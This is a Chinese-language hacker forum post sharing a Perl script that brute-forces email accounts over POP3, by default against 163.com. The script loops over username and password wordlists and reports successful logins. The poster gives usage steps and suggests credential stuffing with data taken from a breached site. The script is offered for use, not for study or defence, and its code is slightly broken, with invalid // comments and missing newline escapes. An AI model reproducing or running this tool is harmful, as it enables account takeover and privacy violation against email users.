搜索
查看: 2690|回复: 0

邮箱爆破脚本

[复制链接]

147

主题

239

帖子

523

积分

高级会员

中国黑客

Rank: 4

积分
523
QQ
发表于 2018-10-8 18:29:43 来自手机 | 显示全部楼层 |阅读模式
#!/usr/bin/perl
use Net::POP3;
$email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,"user.txt");      
@array1=<fp1>;
open(fp2,"pass.txt");
@array2=<fp2>;                     //从文件中获取邮箱用户名及密码
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u."@163.com";
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print "cracked with ".$u."-----".$p."n";
$i=$i+1;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p);              //尝试登录邮箱
if($m>0)
{
  print $u."------------".$p."----"."success"."n";
  $pop->quit;
}                                //成功登录
else
{
  print $u."------------".$p."----"."failed"."n";
  $pop->quit;                                     //登录失败
}
}
}
print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

Default

$email="pop.163.com";
1
$email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表